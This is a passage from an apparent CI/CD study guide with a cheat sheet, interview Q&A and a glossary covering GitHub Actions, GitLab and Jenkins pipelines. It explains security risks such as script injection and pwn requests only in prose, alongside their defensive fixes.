Self-hosted runners are fine for private reposAnyone who can open a PR can reach them; use ephemeral runners
Retrying flaky tests fixes flakinessIt hides it and multiplies minutes; quarantine with an owner

Cheat sheet ​

TopicRemember
CI / delivery / deploymentMerge daily and verify / always releasable / released automatically
AnatomyTrigger -> jobs (fresh runner each) -> steps; stages only in GitLab and Jenkins
GraphNo needs = parallel (fan-out); needs: [a, b] = fan-in; failures skip dependants unless if: always()
Triggerson push pull_request with branches, tags, paths; tags ignore path filters
ConcurrencyCancel superseded PR runs; queue deploys (cancel-in-progress: false, resource_group)
Permissionscontents: read at the top; any listed scope zeroes the rest; widen per job
ReuseReusable workflow = jobs + own identity; composite action = steps in your job; GitLab include; Jenkins @Library
CachesKey on lock-file hash, prefix restore-keys, write from trusted runs, 7 days / 10 GB on GitHub
ArtifactsRequired outputs; v4+ immutable, one name per job; 90 days GitHub, 30 days GitLab
EnvironmentsRequired reviewers (up to 6), wait timer, branch/tag rules, environment secrets; promote the same digest
OIDCid-token: write / id_tokens; trust exact sub (e.g. repo:ORG/REPO:environment:production)
Imagestype=sha,format=long tags, deploy @sha256:, cache-to ...,mode=max, cross-compile multi-arch
Supply chaincosign keyless + actions/attest; verify issuer and identity (the reusable workflow); SLSA L2, L3 with shared reusable workflows
SecurityNo expressions in run:; no fork code under pull_request_target; pin by SHA; ephemeral runners
Quality gatesgolangci-lint pinned, go test -race -count=1; Pint --test, PHPStan, Pest on the production engine's service container
MigrationsTest on an empty DB in CI; one serialised Job per environment in the deploy; expand/contract
Speed and costSplit by time, cancel superseded runs, quarantine flakes, minutes are rounded up per job

Self-check: questions & answers ​

Show:
  • Must-know asked in almost every interview
  • Important frequent; expected at senior level
  • Good to know extra depth that sets you apart

1 — What is the difference between continuous delivery and continuous deployment, and which pipeline element implements the difference? Must-know ​

Answer

Answer: Continuous delivery keeps every change releasable and deploys to production on a decision; continuous deployment deploys every green change automatically. In the pipeline the difference is the production gate: an environment with required reviewers (GitHub), a protected environment or when: manual job (GitLab), or an input step (Jenkins). Remove the gate and keep the automated checks, and delivery becomes deployment. See CI vs CD vs CD.

2 — Why does permissions: packages: write on its own break actions/checkout in a private repository? Must-know ​

Answer

Answer: Because specifying any permission sets every unspecified one to none, so the token loses contents: read and cannot clone the repository. Write contents: read explicitly next to packages: write. The safe pattern is permissions: contents: read at the workflow level and per-job additions. See Permissions.

3 — A workflow step checks the PR title with the title expression inside a quoted shell variable assignment. Why is it exploitable, and what is the fix? Must-know ​

Answer

Answer: The runner substitutes the expression into the script text before bash parses it, so a title containing a double quote ends the string and the rest runs as commands with the job's token and secrets. The fix is to pass the value through env: (TITLE: set from the expression) and use "$TITLE" in the script: the shell expands a variable's value as data and never re-parses it. The Go demo in the Lab shows INJECTED-42 for the unsafe shape and the literal payload for the safe one.

4 — When is pull_request_target dangerous, and what should you use instead? Must-know ​

Answer

Answer: It runs from the base repository's default branch with secrets and a read/write token. It becomes a "pwn request" when the workflow checks out the PR head (or downloads a fork's artifact) and executes it, for example make test on the fork's Makefile. Build and test untrusted code with pull_request (no secrets, read-only token) and keep pull_request_target for metadata tasks like labelling that never check out PR code. actions/checkout v7 additionally refuses fork heads unless allow-unsafe-pr-checkout: true.

5 — How should a deploy job get AWS credentials, and what must the role's trust policy check? Must-know ​

Answer

Answer: Through OIDC: the job has permissions: id-token: write, aws-actions/configure-aws-credentials exchanges GitHub's JWT via AssumeRoleWithWebIdentity, and STS returns temporary credentials. They do not die with the job: they last for role-duration-seconds (default 3600, allowed 900 to 43,200), so a leaked session stays usable; set role-duration-seconds: 900 on deploy jobs. The trust policy must check aud (sts.amazonaws.com) and the exact sub, for a production deploy job repo:ORG/REPO:environment:production; a wildcard such as repo:ORG/* would let any branch or PR run of any repository assume the role. See Secrets and OIDC.

6 — What is the difference between a cache and an artifact, and which one carries the image digest to the deploy job? Important ​

Answer

Answer: A cache is an optional speed-up shared across runs by key (it may miss, it is evicted, it is write-once per key); an artifact is a required output of one run with a retention period. Neither should carry a single value: on GitHub the digest is a job output (needs.image.outputs.digest), on GitLab a dotenv report artifact (IMAGE_DIGEST). Files such as coverage reports are artifacts. See Caching and Artifacts.

7 — Design the cache key for Go modules and for Composer. Why a lock-file hash with a prefix restore key? Important ​

Answer

Answer: Go: GOMODCACHE keyed on OS plus hashFiles of go.sum (with setup-go, set cache-dependency-path: go.sum, since the default key uses go.mod), plus GOCACHE for compiled packages. Composer: the composer config cache-files-dir directory keyed on OS, PHP version and composer.lock. The hash changes exactly when dependencies change; the prefix restore key (gomod-Linux-) restores the newest older cache on a miss so only the delta downloads, and the new key is saved afterwards. See Caching.

8 — Two merges reach staging within a minute. How do you make sure deployments and migrations never overlap or get cancelled halfway, on GitHub and on GitLab? Important ​

Answer

Answer: GitHub: a job-level concurrency group per environment (deploy-shop-staging) with cancel-in-progress: false; the newer run waits (and by default replaces an older pending one, which is fine because it contains it). GitLab: resource_group: shop-staging on the migrate/deploy job plus interruptible: false. Cancel-in-progress belongs only on superseded PR checks. See Concurrency.

9 — A digest was signed with cosign keyless inside a reusable workflow. Which identity do you verify, and why not the caller workflow? Important ​

Answer

Answer: The certificate's SAN is https://github.com/ plus the job_workflow_ref claim, which names the called (reusable) workflow and its ref, so cosign verify uses --certificate-oidc-issuer https://token.actions.githubusercontent.com with an identity (or regexp) for the reusable workflow path, and gh attestation verify uses --signer-workflow. That is the point of the design: verifiers trust "built by the platform's workflow" regardless of which repository called it, which also lets attestations reach SLSA Build L3. See Supply chain.

10 — Why test a Laravel app against a database service container of the production engine instead of SQLite, and where do migrations run in the pipeline? Important ​

Answer

Answer: The shop's production image ships pdo_pgsql, and PostgreSQL's types, transactional DDL and operators are not SQLite's, so a green SQLite suite proves little about production queries and migrations (a MySQL shop would use a MySQL service for the same reason). In CI every test shard runs php artisan migrate --force against a fresh postgres:18 service and the smoke suite before Pest; in the deploy, one migration Job from the new digest (--isolated, no retries, a deadline shorter than the wait) runs in the same job and concurrency group as the rollout, before it. See Quality gates and Migrations.

11 — Why pin actions by full commit SHA, and how do you avoid pinned actions going stale? Good to know ​

Answer

Answer: A tag (@v7, even @v7.0.1) can be moved to new code by the owner or an attacker, silently changing every workflow that uses it; a 40-character commit SHA cannot be changed without a SHA-1 collision. Dependabot's github-actions ecosystem opens PRs that bump the SHA and its # vN comment, after a cooldown (3 days by default, configurable), so updates are reviewed and revertible. See Pinning.

12 — A 36-minute test suite is split into three shards and the PR verdict still takes 25 minutes. What went wrong and what does it cost to fix? Good to know ​

Answer

Answer: It was split by count, so one shard got the slow tests. Split by measured duration (Pest --shard with a committed shards.json, or the Go shard package's longest-first assignment from go test -json timings) to get near-equal shards. Wall-clock time drops to roughly a third plus setup, but billed minutes rise slightly because each shard pays its own start-up and minutes are rounded up per job. See Speed and cost.

Glossary ​

TermMeaning
Continuous integrationMerging to the main line at least daily, each merge verified by an automated build and tests
Continuous deliverySoftware kept releasable at any time; production deploy is a decision
Continuous deploymentEvery change that passes the pipeline is deployed to production automatically
PipelineThe automated sequence from change to deployable (and deployed) artefact
TriggerThe event and filters that create a pipeline run
StageOrdered group of jobs (GitLab stages, Jenkins stage); GitHub has no stages
JobUnit scheduled on one runner; jobs run in parallel unless linked by needs
StepOne command or action inside a job, sequential, same machine
RunnerMachine that executes jobs (GitHub-hosted, self-hosted, GitLab Runner)
ExecutorHow GitLab Runner isolates a job: Kubernetes, Docker, Docker Autoscaler, Instance, Shell...
AgentsJenkins machines or pods that run stages
MatrixOne job definition expanded over variable combinations (strategy.matrix, parallel:matrix)
Fan-out fan-inMany parallel jobs started together, then one job that needs all of them
NeedsExplicit job dependency (needs:) forming a DAG
Needs DAGGitLab's dependency graph that lets jobs start before their stage
Workflow syntaxThe GitHub Actions YAML schema: on, permissions, concurrency, jobs, steps
On push pull_requestThe two core GitHub triggers: pushes to branches/tags and pull request activity
Path filterspaths/paths-ignore (GitHub), rules:changes (GitLab) limiting runs to relevant changes
Monorepo path filtersPath filters used so each component's pipeline runs only for its directory
ConcurrencyGitHub group allowing one running job/workflow at a time
Cancel-in-progressConcurrency option that cancels the running member when a new one arrives
resource_groupGitLab mutex for jobs, typically deployments
PermissionsGitHub permissions: key setting GITHUB_TOKEN scopes
GITHUB_TOKENPer-job GitHub App installation token, expires with the job
Least privilegeGrant only the scopes a job needs, default read-only
Reusable workflowWorkflow called by another with uses:; brings jobs, permissions and its own identity
workflow_callThe trigger that makes a workflow reusable, with inputs, secrets, outputs
Composite actionaction.yml with runs.using: composite: reusable steps inside the caller's job
actions/cacheGitHub action that restores and saves directories by key
Cache key restore-keysExact key for a hit; ordered prefix keys for a partial restore on a miss
setup-go cacheactions/setup-go built-in caching of module and build caches (key from go.mod unless cache-dependency-path)
setup-phpshivammathur/setup-php: PHP version, extensions, coverage driver, tools
cache-modeGitHub key limiting a job's cache access: read, write, write-only, none
Cache poisoningWriting a malicious cache entry that a more privileged run restores
ArtifactsRequired job outputs stored per run with retention
upload-artifact v4The artifact generation (v4 and later majors) with immutable, per-job artifacts; v3 stopped working 30 Jan 2025
Cache vs artifactsOptional cross-run speed-up vs required per-run output
EnvironmentsNamed deploy targets with protection rules, secrets and history
Protection rulesRequired reviewers, wait timer, deployment branches/tags, custom rules
Required reviewersUp to six users/teams; one approval releases the job
ApprovalsHuman gate before a job (environments, GitLab protected environments, Jenkins input)
Staging promotionDeploying to production the same digest that passed staging
GitLab environmentsenvironment: with name, URL, tier, stop jobs, auto stop
Review appsPer-merge-request GitLab environments (review/$CI_COMMIT_REF_SLUG) with on_stop and auto_stop_in
OIDCOpenID Connect; the CI provider issues signed JWTs describing the job
id-tokenGitHub permission (id-token: write) allowing a job to request an OIDC token
id_tokensGitLab keyword creating OIDC JWTs with a chosen aud
Cloud federationExchanging a CI OIDC token for short-lived cloud credentials (AWS STS, GCP WIF, Azure)
SecretsEncrypted values exposed to jobs as variables, masked in logs
Environment secretsSecrets available only to jobs of one environment, after its protection rules pass
Secrets exposureLeakage through executed code, logs, caches, artifacts or runners
Self-hosted runnersRunners you operate; persistent unless ephemeral
Ephemeral runnersRunners that take one job and are removed (--ephemeral, JIT, ARC)
ARCActions Runner Controller: Kubernetes autoscaling for self-hosted GitHub runners
GitLab runnersGitLab Runner agents registered at instance, group or project level, chosen by tags
Pin actions by SHAReferencing an action by full commit SHA instead of a movable tag
DependabotGitHub bot opening update PRs for actions, modules, packages, base images
GITHUB_STEP_SUMMARYEnvironment file whose Markdown appears on the run summary (1 MiB per step)
.gitlab-ci.ymlGitLab's pipeline definition file at the project root
StagesGitLab's ordered list of job groups
RulesGitLab rules: deciding whether and how a job (or pipeline) is created
Include templatesGitLab include: of local, project, remote, template or component YAML, optionally with spec:inputs
spec:inputsHeader in an included GitLab file declaring typed inputs, used as $[[ inputs.name ]]
Jenkins declarative pipelineStructured pipeline { agent stages steps post } syntax
JenkinsfileThe file holding a Jenkins pipeline, versioned with the code
Shared librariesJenkins repositories of reusable steps (vars/) and classes (src/), loaded with @Library
Go build cacheGOCACHE: compiled packages and test results
GOMODCACHEDirectory of downloaded Go modules
Composer cacheComposer's download cache (cache-files-dir), cached instead of vendor/
Docker layer cacheBuildKit's cache of Dockerfile steps, exportable outside the runner
BuildKit cache-from cache-tobuildx options importing and exporting layer cache (type=gha, type=registry, mode=max)
gha cacheBuildKit cache backend stored in the GitHub Actions cache service
Registry cacheBuildKit cache stored as an artefact in an OCI registry
buildx multi-archBuilding one image index for several platforms with --platform
Image tags from git shaTags such as sha-<commit> from metadata-action type=sha; humans read tags, deploys use digests
ProvenanceAttested record of how an artefact was built (SLSA provenance)
SBOMSoftware bill of materials: the package inventory of an artefact
cosign keylessSigning with an ephemeral key and a Fulcio certificate bound to an OIDC identity
SigstoreFulcio (CA), Rekor (transparency log) and clients such as cosign
Fulcio / RekorSigstore's code-signing CA / append-only transparency log
SLSASupply-chain Levels for Software Artifacts; v1.0 Build track L0-L3
Artifact attestationsGitHub's signed SLSA provenance and SBOM attestations (actions/attest, gh attestation verify)
golangci-lintGo meta-linter; pin its version in CI
go test -raceGo tests with the race detector; -count=1 bypasses the test cache
PHPUnitPHP's test framework, used by Laravel and underneath Pest
PestPHP testing framework with --ci, --parallel, --shard, coverage thresholds
PintLaravel's code-style fixer; --test makes it a CI gate
PHPStanPHP static analyser; levels, baselines, result cache, CI error formats
CoverageShare of code executed by tests; reported as summaries, Clover or Cobertura
Service containersContainers started next to a job (databases, caches) for integration tests
MySQL serviceA mysql:8.4 service container; the equivalent of the shop's postgres:18 service for a MySQL production
PostgreSQL servicepostgres:18 with pg_isready health check: the shop's CI database, matching the production image's pdo_pgsql
Migrations in CIApplying all migrations to an empty database in every test job
Script injectionUntrusted text executed as code by a CI script
Expression injectionScript injection caused by substituting a workflow expression into run: text
pull_request_targetGitHub trigger running base-branch code with secrets for PR events
Fork pull requestsPRs from forks; under pull_request they get no secrets and a read-only token
Pwn requestA privileged workflow that checks out and executes untrusted PR code
Test splittingDistributing tests across parallel jobs, ideally by measured time
Parallel jobsJobs running at the same time on separate runners
Flaky tests quarantineMoving nondeterministic tests to a non-blocking job with an owner and deadline
Pipeline minutes costPer-minute runner billing, rounded up per job, rates per runner type

References ​

Built by Morteza Negahi